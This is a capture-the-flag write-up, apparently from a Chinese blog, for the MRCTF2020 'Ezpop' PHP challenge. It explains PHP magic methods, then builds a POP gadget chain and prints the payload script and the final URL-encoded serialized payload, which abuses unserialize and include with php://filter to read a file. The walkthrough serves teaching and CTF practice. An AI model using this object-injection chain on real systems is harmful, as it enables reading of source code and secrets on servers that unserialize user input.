当前位置:网站首页>[MRCTF2020] Ezpop (detailed)
[MRCTF2020] Ezpop (detailed)
2022-08-05 04:00:00 【pakho_C】
[MRCTF2020]Ezpop
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Show{
public $source;
public $str;
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
}
}
class Test{
public $p;
public function __construct(){
$this->p = array();
}
public function __get($key){
$function = $this->p;
return $function();
}
}
if(isset($_GET['pop'])){
@unserialize($_GET['pop']);
}
else{
$a=new Show;
highlight_file(__FILE__);
}
php代码审计
知识点:
1.__invoke()
当尝试以调用函数的方式调用一个对象时,__invoke() 方法会被自动调用.
eg:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __invoke() {
echo '这可是一个对象哦';
}
}
$person = new Person('小明'); // 初始赋值
$person();
输出:这可是一个对象哦
2.__toString()
作用:
__toString() 方法用于一个类被当成字符串时应怎样回应.例如 echo $obj; 应该显示些什么.
eg:
<?php
class Person
{
public $sex;
public $name;
public $age;
public function __construct($name="", $age=25, $sex='男')
{
$this->name = $name;
$this->age = $age;
$this->sex = $sex;
}
public function __toString()
{
return 'go go go';
}
}
$person = new Person('小明'); // 初始赋值
echo $person;
结果:go go go
3. __get()
当我们试图获取一个不可达属性时(比如private),类会自动调用__get函数
eg:
class Person
{
private $name;
...
}
$person3 = new Person();
echo $person3->$name;//这个时候__get()函数自动调用,然后输出$name中的值
解题:
题目对popParameters are deserialized,Then you need to construct the serialized onepop参数
当pop参数为Show类时,It will be called first when deserializing__wakeup()函数,进行过滤
public function __wakeup(){
if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
echo "hacker";
$this->source = "index.php";
}
此时pop为show类的一个对象,包含2个参数:source和str,由于构造函数__construct有echo $this->source,要触发__toString()函数,则可以将sourceParameters as an object of a class
public function __construct($file='index.php'){
$this->source = $file;
echo 'Welcome to '.$this->source."<br>";
}
public function __toString(){
return $this->str->source;
}
将pop对象的参数source作为Show类的对象(此时sourceThe object also has two parameters:source和str),则会执行__toString()函数,return source对象的str参数的source,此时str如果是Test类的一个对象,则没有source参数,执行__toString()function will not be foundsource参数,就会调用Test类对象str的__get()函数
public function __get($key){
$function = $this->p;
return $function();
}
__get()函数调用p参数对应的函数 注意:$function()
如果$function是个对象,那么则会调用__invoke()函数
public function __invoke(){
$this->append($this->var);
}
所以可以将参数p设置为Modifier类的对象,从而执行__invoke()函数,进而执行append函数
public function append($value){
include($value);
}
所以可以将var参数设置为php://filter/read=convert.base64-encode/resource=flag.php用来读取flag
整体流程:
构造payload:
<?php
class Modifier {
protected $var="php://filter/read=convert.base64-encode/resource=flag.php";
}
class Test{
public $p;
}
class Show{
public $source;
public $str;
}
$pop = new Show();
$pop->source = new Show();
$pop->source->str = new Test();
$pop->source->str->p = new Modifier();
echo urlencode(serialize($pop));
?>

需要urlencodeThe reason refers to the words of another master:
The final serialization result is performedurlThe reason for the encoding I think is this:如果不进行编码,The final output is fragmented,不是全部的,There will be similar truncations resulting in abnormal results,所以需要进行url编码
得到最终payload:
pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A57%3A%22php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D


边栏推荐
- 35岁的软件测试工程师,月薪不足2W,辞职又怕找不到工作,该何去何从?
- The most effective seven performance testing techniques of software testing techniques
- 关于#SQL#的迭代、父子结构查询问题,如何解决?
- Defect detection (image processing part)
- 日志导致线程Block的这些坑,你不得不防
- Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
- [BJDCTF2020]EasySearch
- How to find all fields with empty data in sql
- UE4 通过重叠事件开启门
- 工业级远距离无线传输装置的功能有哪些?
猜你喜欢

Growth-based checkerboard corner detection method

UE4 第一人称角色模板 添加生命值和调试伤害

public static
List asList(T... a) What is the prototype? 
Web3.0 Dapps——通往未来金融世界的道路

Spark基础【介绍、入门WordCount案例】

Event parse tree Drain3 usage and explanation

UE4 opens door via interaction (keyboard key)

多列属性column元素的可见性:display、visibility、opacity、垂直对齐方式:vertical-align、z-index 越大越显示在上层

Increasing leetcode - a daily topic 1403. The order of the boy sequence (greed)

UI自动化测试 App的WebView页面中,当搜索栏无搜索按钮时处理方法
随机推荐
How to discover a valuable GameFi?
第一次性能测试实践,有“亿”点点紧张
Confessing the era of digital transformation, Speed Cloud engraves a new starting point for value
DEJA_VU3D - Cesium功能集 之 056-智图Arcgis地图纠偏
Package zip is not available, but is referred to by another package.
Walter talked little knowledge | "remote passthrough" that something
The most comprehensive exam questions for software testing engineers in 2022
Ice Scorpion V4.0 attack, security dog products can be fully detected
Burp installation and proxy settings
重载运算符
JeeSite新建报表
The test salary is so high?20K just graduated
UE4 opens door via interaction (keyboard key)
银行数据采集,数据补录与指标管理3大问题如何解决?
Dive into how it works together by simulating Vite
Redis key basic commands
Defect detection (image processing part)
BI业务分析思维:现金流量风控分析(二)信用、流动和投资风险
包拉链不可用,但是是被另一个包。
【 8.4 】 source code - [math] [calendar] [delete library 】 【 is not a simple sequence (Bonus) 】